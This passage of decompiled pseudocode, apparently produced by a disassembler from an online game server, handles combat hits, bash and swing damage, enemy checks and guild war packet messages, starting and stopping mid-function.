*)(v4 + 32184)) != 0 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1136))(v5) == 2 ) { if ( (unsigned __int8)(*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 136) + 4))(v5) ) { v6 = SubLayer::SubLayerInteractLoader::slil_Interact( &sublayerinteract, *(SubLayer::Layer **)(v4 + 94), *(SubLayer::Layer **)(v5 + 94)); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v6, "ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ : Target in another dimension hitted", 0) ) { v7 = *(_BYTE *)(*(_DWORD *)(v5 + 94) + 4) + 1000 * *(_BYTE *)(*(_DWORD *)(v4 + 94) + 4); v8 = ShineObjectClass::ShineObject::so_SubLayer_CanAttack((void *)v4, v5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v8, "ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ : Target in another sublayerinteractension hitted", v7) ) { v9 = *(_BYTE *)(netcmd + 3); v23 = *(_DWORD *)(v4 + 78); v17 = *(_BYTE *)(netcmd + 2); v16 = v9; v10 = *(_DWORD *)v4; engarg = v4; v13 = v5; v14 = 0; LOWORD(v22) = 0; v20 = 0; v19 = 0; v18 = 0; v21 = 0; v15 = 0; (*(void (__thiscall **)(int, int *))(v10 + 1392))(v4, &engarg); } } } } v24 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"); } } else { --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"); } } //----- (0041F770) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)&netcmd[1].protocol && *(_DWORD *)&netcmd[3].protocol ) CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)&netcmd[1]); if ( *(_DWORD *)&netcmd[5].protocol && *(_DWORD *)&netcmd[7].protocol ) CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)&netcmd[5]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK"); } //----- (0041F840) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::sp_GuildWarRequest(int guild1, int guild2) { char *v2; // eax@3 ZoneBaseSession *v3; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildWarRequest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildWarRequest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( guild1 && guild2 ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29816; *(_DWORD *)(v2 + 2) = guild1; *(_DWORD *)(v2 + 6) = guild2; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_GuildWarRequest : Packet Too Long", 10); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildWarRequest"); } //----- (0041F930) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S18_13 & 1) ) { _S18_13 |= 1u; cmc_3.cmc_AllowMode = 4; atexit(_E19_9); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_3.cmc_AllowMode ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2716))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD"); } //----- (0041FA10) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::smo_BashStop() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BashStop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_BashStop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BashStop"); } //----- (0041FA50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_BashStop(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BashStop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_BashStop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CeaseFireSender::cfs_Send((CeaseFireSender *)v1 + 32051); ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(v1); ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(v1); *((_BYTE *)v1 + 89008) &= 0xFBu; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BashStop"); } //----- (0041FB00) -------------------------------------------------------- int __userpurge ShineObjectClass::ShineMobileObject::so_Bash(void *a1, double a2, int engarg, int resthp, int abstate, int absstrength, signed int absrate, int aggroclear) { void *v8; // ebp@1 unsigned __int16 v9; // ax@1 unsigned __int16 v10; // cx@1 int v11; // eax@1 unsigned int v12; // eax@2 char *v13; // eax@2 int v14; // ecx@2 unsigned int v15; // eax@9 char *v16; // eax@9 int v17; // ecx@9 int v18; // esi@10 int v19; // esi@21 int v20; // ebx@21 char *v21; // esi@26 char v22; // al@28 char v23; // al@28 char v24; // al@28 char v25; // cl@28 int v26; // eax@30 char v27; // dl@31 char v28; // dl@31 __int16 v29; // ax@31 unsigned int v30; // edx@31 int v31; // ST18_4@31 int v32; // eax@35 int v33; // ST18_4@40 int v34; // ST04_4@40 int v35; // eax@40 int damage; // [sp+1Ch] [bp-C0h]@3 unsigned int v38; // [sp+20h] [bp-BCh]@6 AxialListPacketBroadcast alchat; // [sp+24h] [bp-B8h]@38 FunctionEntarance _; // [sp+30h] [bp-ACh]@1 int v41; // [sp+34h] [bp-A8h]@10 char battleobject; // [sp+38h] [bp-A4h]@1 int v43; // [sp+3Ch] [bp-A0h]@21 int v44; // [sp+44h] [bp-98h]@3 int v45; // [sp+54h] [bp-88h]@15 int v46; // [sp+58h] [bp-84h]@15 int v47[10]; // [sp+5Ch] [bp-80h]@15 int flag; // [sp+84h] [bp-58h]@10 int v49; // [sp+D8h] [bp-4h]@1 v8 = a1; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_Bash"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Bash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_Bash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v10 = *((_WORD *)v8 + 2); v49 = 0; BattleObjectGroup::BattleObjectStruct::BattleObjectStruct( (BattleObjectGroup::BattleObjectStruct *)&battleobject, v10, v9); v11 = *((_DWORD *)v8 + 1855); LOBYTE(v49) = 1; if ( v11 > 0 ) goto LABEL_5; (*(void (__stdcall **)(int))(**((_DWORD **)v8 + 1853) + 24))(engarg); v12 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v12; v13 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v12]]; v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1); *((_DWORD *)v13 + 8192) = v14; if ( (double)*(_WORD *)&v13[2 * v14] <= a2 ) { v11 = (*(int (__stdcall **)(int))(**((_DWORD **)v8 + 1853) + 28))(engarg); LABEL_5: damage = v11; goto LABEL_6; } damage = 0; *(_BYTE *)(engarg + 17) = 1; v44 = 1; LABEL_6: v38 = 0; while ( 1 ) { if ( damage <= 0 || abstate == 391 || (v15 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1), rndbox.rb_box[4].rs_point.value = v15, v16 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v15]], v17 = *((_DWORD *)v16 + 8193) & (*((_DWORD *)v16 + 8192) + 1), *((_DWORD *)v16 + 8192) = v17, *(_WORD *)&v16[2 * v17] >= absrate) ) goto LABEL_17; v18 = flag; v41 = (unsigned int)flag < 4; if ( (unsigned int)flag < 4 ) break; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_Bash : Too many abstates", flag); LABEL_17: ++v38; if ( v38 >= 1 ) goto LABEL_21; } if ( abstate >= 391 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", abstate); goto LABEL_21; } if ( !dword_608008[abstate] ) goto LABEL_21; if ( !(unsigned __int8)(*(int (__stdcall **)(_DWORD))(**(_DWORD **)(engarg + 4) + 1524))(dword_608008[abstate]) ) { *(&v45 + 3 * v18) = abstate; *(&v46 + 3 * v18) = absstrength; v47[3 * v18] = 0; ++flag; if ( aggroclear > 0 ) (*(void (__thiscall **)(void *, _DWORD, int))(*(_DWORD *)v8 + 1712))(v8, *(_DWORD *)(engarg + 4), aggroclear); goto LABEL_17; } *(_BYTE *)(engarg + 20) = 1; LABEL_21: (*(void (__thiscall **)(void *))(*(_DWORD *)v8 + 1380))(v8); (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1380))(); v43 = damage; BattleObjectGroup::BattleObjectList::bol_Store( &btlobjlist, (BattleObjectGroup::BattleObjectStruct *)&battleobject, clockwatch.cw_CurrTick + 10); v19 = *(_DWORD *)(engarg + 4); v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v19 + 1556))(*(_DWORD *)(engarg + 4)); *(_DWORD *)resthp = (*(int (__thiscall **)(int))(*(_DWORD *)v19 + 1236))(v19) - v20; (*(void (__stdcall **)(int))(**(_DWORD **)(engarg + 4) + 1548))(damage); if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(engarg + 4) + 40))() ) { *(_BYTE *)(engarg + 18) = 1; *(_DWORD *)resthp = 0; } else { if ( damage < *(_DWORD *)resthp ) { *(_BYTE *)(engarg + 18) = 0; *(_DWORD *)resthp -= damage; } else { (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 36))(); *(_BYTE *)(engarg + 18) = 1; *(_DWORD *)resthp = 0; } } v21 = gpp.pp_Buffer; if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1212))() == 2 ) { if ( *(_BYTE *)(engarg + 17) ) { *(_WORD *)v21 = 9264; v22 = v21[4]; *((_WORD *)v21 + 1) = *((_WORD *)v8 + 2); v23 = (v22 ^ *(_BYTE *)(engarg + 14)) & 0xF ^ v22; v21[4] = v23; v24 = v23 ^ (v23 ^ 16 * *(_BYTE *)(engarg + 17)) & 0x10; v21[4] = v24; v25 = v24 ^ (v24 ^ 32 * *(_BYTE *)(engarg + 19)) & 0x20; v21[4] = v25; v21[4] = v25 ^ (v25 ^ (*(_BYTE *)(engarg + 20) << 6)) & 0x40; *(_WORD *)(v21 + 5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 1272))(v8); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v26 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v26 + 12))( v26, *(_DWORD *)(engarg + 4), &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_Bash : Packet Too Long", 7); } } else { *(_WORD *)v21 = 9261; *((_WORD *)v21 + 1) = *((_WORD *)v8 + 2); v27 = v21[6]; *((_WORD *)v21 + 2) = 2 * damage | *(_BYTE *)(engarg + 16) & 1; v28 = (v27 ^ *(_BYTE *)(engarg + 14)) & 0xF ^ v27; v21[6] = v28; v21[6] = v28 ^ (v28 ^ 16 * *(_BYTE *)(engarg + 20)) & 0x10; *(_DWORD *)(v21 + 7) = *(_DWORD *)resthp; *(_WORD *)(v21 + 13) = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1932))(); v29 = (*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 1272))(v8); v30 = *((_WORD *)v21 + 2); v31 = *(_DWORD *)(v21 + 7); *(_WORD *)(v21 + 11) = v29; ShineObjectClass::ShineObject::so_DamageLog( (int)"ShineMobileObject::so_Bash", *(_WORD *)(v21 + 13), v30 >> 1, v31); if ( !*(_DWORD *)(v21 + 7) ) (*(void (__stdcall **)(signed int))(**(_DWORD **)(engarg + 4) + 2168))(2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 15) ) { v32 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v32 + 12))( v32, *(_DWORD *)(engarg + 4), &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_Bash : Packet Too Long", 15); } (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1556))(); (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1236))(); } } if ( *(_BYTE *)(engarg + 17) ) { *(_WORD *)v21 = 9265; *((_WORD *)v21 + 1) = *((_WORD *)v8 + 2); *((_WORD *)v21 + 2) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v21[6] = *(_BYTE *)(engarg + 14); *(_WORD *)(v21 + 7) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 1272))(v8); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 9); LOBYTE(v49) = 2; } else { *(_WORD *)v21 = 9262; *((_WORD *)v21 + 1) = *((_WORD *)v8 + 2); *((_WORD *)v21 + 2) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v21[6] = *(_BYTE *)(engarg + 14); *(_DWORD *)(v21 + 7) = *(_DWORD *)resthp; *(_WORD *)(v21 + 13) = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1932))(); *(_WORD *)(v21 + 11) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 1272))(v8); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 15); LOBYTE(v49) = 3; } v33 = *((_WORD *)v21 + 2); v34 = *(_DWORD *)((char *)v8 + 78); v35 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v8, v35, v34, 0, 0, (int)&alchat, 0, v33); LOBYTE(v49) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v49) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&battleobject); --funcallanalizer.fca_stackpoint; v49 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Bash"); return damage; } // 41FB00: using guessed type int var_80[10]; //----- (004200D0) -------------------------------------------------------- int __userpurge ShineObjectClass::ShinePlayer::so_Bash(int a1, double a2, int engarg, int resthp, int abstate, int absstrength, signed int absrate, int aggroclear) { int v8; // ebx@1 int v9; // eax@1 char *v10; // esi@1 __int16 v11; // cx@1 __int16 v12; // ax@1 char v13; // al@3 unsigned __int16 v14; // ax@3 int v15; // edx@3 int v16; // ebp@3 char v17; // cl@5 char v18; // cl@5 char v19; // al@5 int v20; // eax@8 int aggrocleara; // [sp+38h] [bp+18h]@1 v8 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Bash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Bash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 2164))(v8); v9 = ShineObjectClass::ShineMobileObject::so_Bash( (void *)v8, a2, engarg, resthp, abstate, absstrength, absrate, aggroclear); v10 = gpp.pp_Buffer; v11 = v9; aggrocleara = v9; v12 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v12; if ( *(_BYTE *)(engarg + 17) || *(_BYTE *)(engarg + 19) ) { *(_WORD *)v10 = v12 & 0xFC2F | 0x2F; v17 = v10[4]; *((_WORD *)v10 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v18 = (v17 ^ *(_BYTE *)(engarg + 15)) & 0xF ^ v17; v10[4] = v18; v19 = v18 ^ (v18 ^ 16 * *(_BYTE *)(engarg + 17)) & 0x10; v10[4] = v19; v10[4] = v19 ^ (v19 ^ 32 * *(_BYTE *)(engarg + 19)) & 0x20; *(_WORD *)(v10 + 5) = *(_WORD *)(v8 + 89004); v16 = 7; } else { *(_WORD *)v10 = v12 & 0xFC2C | 0x2C; *((_WORD *)v10 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v13 = (v10[6] ^ *(_BYTE *)(engarg + 15)) & 0xF ^ v10[6]; v10[6] = v13; v10[6] = v13 ^ (v13 ^ 16 * *(_BYTE *)(engarg + 20)) & 0x10; *((_WORD *)v10 + 2) = 2 * v11 | *(_BYTE *)(engarg + 16) & 1; *(_DWORD *)(v10 + 7) = *(_DWORD *)resthp; v14 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1932))(); v15 = *(_DWORD *)(v10 + 7); *(_WORD *)(v10 + 13) = v14; *(_WORD *)(v10 + 11) = *(_WORD *)(v8 + 89004); v16 = 15; ShineObjectClass::ShineObject::so_DamageLog( (int)"ShinePlayer::so_Bash", v14, (unsigned int)*((_WORD *)v10 + 2) >> 1, v15); if ( !*(_DWORD *)(v10 + 7) ) (*(void (__thiscall **)(_DWORD, signed int))(**(_DWORD **)(engarg + 4) + 2168))(*(_DWORD *)(engarg + 4), 3); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v16) ) { v20 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 764))(v8); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v8, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Bash : Packet Too Long", v16); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Bash"); return aggrocleara; } //----- (00420300) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy(void *this, int a2) { void *v2; // edi@1 int v3; // esi@1 bool result; // al@5 bool v5; // bl@9 int v6; // [sp+24h] [bp+4h]@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2388))(a2) ) v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2388))(a2); if ( (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 988))(v3, 291) || (v6 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2160))(v3), v6 == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2160))(v2)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"); result = 0; } else { v5 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1212))(v3) == 2 || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1212))(v3) == 8 || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1212))(v3) == 5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"); result = v5; } return result; } //----- (00420440) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SwingStart(void *this, int a2) { void *v2; // esi@1 char *v3; // edi@1 int v4; // edx@1 int v5; // ST04_4@1 int v6; // eax@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@1 int v8; // [sp+24h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SwingStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9287; *((_WORD *)v3 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v3 + 2) = *(_WORD *)(a2 + 4); v4 = **((_DWORD **)v2 + 1788); v8 = 0; v3[6] = (*(int (__stdcall **)(char *))(v4 + 4))((char *)v2 + 7152); *(_WORD *)(v3 + 7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1272))(v2); ++*((_WORD *)v2 + 3714); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 9); v5 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v8) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v6, v5, 0, 0, (int)&alchat, 1, 0); (*(void (__stdcall **)(char *))**((void (__stdcall ****)(_DWORD))v2 + 1788))((char *)v2 + 7152); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingStart"); } //----- (00420570) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SwingDamage(#331 *this, AbnormalStateInfo::ABSTATEINDEX a2, int i, int absstrength, int absrate) { double v5; // st7@0 void *v6; // ebp@1 AbnormalStateInfo::ABSTATEINDEX v7; // edi@1 int v9; // esi@4 int v10; // eax@4 int v11; // eax@4 int v12; // eax@7 int v13; // esi@12 int v14; // eax@14 int v15; // eax@15 signed int v16; // ebx@16 int v17; // esi@16 bool v18; // sf@20 unsigned __int8 v19; // of@20 signed int v20; // edx@22 unsigned int v21; // eax@25 char *v22; // eax@25 int v23; // ecx@25 int v24; // esi@27 int v25; // eax@32 int v26; // eax@32 char *v27; // esi@36 char v28; // cl@36 char v29; // al@36 char v30; // al@36 char v31; // cl@36 char v32; // bl@36 int v33; // eax@38 int v34; // eax@41 char *v35; // esi@42 char v36; // cl@42 char v37; // bl@42 int v38; // ST4C_4@42 int v39; // ST38_4@42 int v40; // eax@42 int damage; // [sp+60h] [bp-3Ch]@4 AxialListPacketBroadcast alchat; // [sp+68h] [bp-34h]@5 void *engarg; // [sp+74h] [bp-28h]@4 AbnormalStateInfo::ABSTATEINDEX v44; // [sp+78h] [bp-24h]@4 int v45; // [sp+7Ch] [bp-20h]@4 __int16 v46; // [sp+80h] [bp-1Ch]@4 int v47; // [sp+84h] [bp-18h]@4 int v48; // [sp+88h] [bp-14h]@4 int v49; // [sp+8Ch] [bp-10h]@4 int v50; // [sp+98h] [bp-4h]@1 int v51; // [sp+A0h] [bp+4h]@16 char v52; // [sp+A0h] [bp+4h]@23 int ia; // [sp+A4h] [bp+8h]@32 int aggroclear; // [sp+B0h] [bp+14h]@0 v6 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingDamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SwingDamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = a2; v50 = 0; if ( !a2 || !*(_DWORD *)((char *)v6 + 98) ) { --funcallanalizer.fca_stackpoint; v50 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingDamage"); return 0; } **(_BYTE **)((char *)v6 + 82) = DirectDistanceTable::ddt_DirectSR( &ddt, **(_DWORD **)(a2 + 78) - **(_DWORD **)((char *)v6 + 78), *(_DWORD *)(*(_DWORD *)(a2 + 78) + 4) - *(_DWORD *)(*(_DWORD *)((char *)v6 + 78) + 4)); v9 = *(_DWORD *)v6; v10 = (*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)a2 + 1716))(a2); (*(void (__thiscall **)(void *, int))(v9 + 2700))(v6, v10); (*(void (__thiscall **)(void *))(*(_DWORD *)v6 + 1380))(v6); (*(void (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)a2 + 1380))(a2); v49 = *(_DWORD *)((char *)v6 + 78); v11 = *((_DWORD *)v6 + 1855); engarg = v6; v44 = a2; v45 = 0; LOWORD(v48) = 0; *(_WORD *)((char *)&v47 + 1) = 0; LOBYTE(v47) = 0; BYTE3(v47) = 0; v46 = 0; damage = 0; if ( v11 <= 0 ) { (*(void (__stdcall **)(void **))(**((_DWORD **)v6 + 1853) + 24))(&engarg); *(double *)&alchat.baseclass_0.vfptr = v5; if ( (double)RandomBox::rb_1000(&rndbox) > v5 ) { if ( *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1052))(v6) + 3000) < 1 ) { v12 = *(_DWORD *)a2; BYTE1(v47) = 1; (*(void (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX, void *, signed int))(v12 + 1708))(a2, v6, 1); } goto LABEL_10; } v11 = (*(int (__stdcall **)(void **))(**((_DWORD **)v6 + 1853) + 28))(&engarg); } damage = v11; LABEL_10: if ( *(_WORD *)((*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)a2 + 1052))(a2) + 3138) ) { if ( BYTE1(v47) == 1 ) v13 = (*(int (__stdcall **)(void **))(**((_DWORD **)v6 + 1853) + 28))(&engarg); else v13 = damage; v14 = (*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)a2 + 1052))(a2); (*(void (__thiscall **)(void *, unsigned int, AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v6 + 2824))( v6, ((signed int)((unsigned __int64)(v13 * *(_WORD *)(v14 + 3138) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v13 * *(_WORD *)(v14 + 3138) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31), a2); } v15 = (*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)a2 + 2432))(a2); if ( v15 ) { v16 = 1000; v51 = 0; v17 = v15 + 8; while ( *(_DWORD *)(v17 - 4) != 45 || *(_DWORD *)v17 != (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1716))(v6) ) { if ( *(_DWORD *)(v17 - 4) == 44 ) { v16 = *(_DWORD *)v17; v17 += 8; v19 = __OFSUB__(v51 + 1, 4); v18 = v51++ - 3 < 0; if ( v18 ^ v19 ) continue; } goto LABEL_23; } 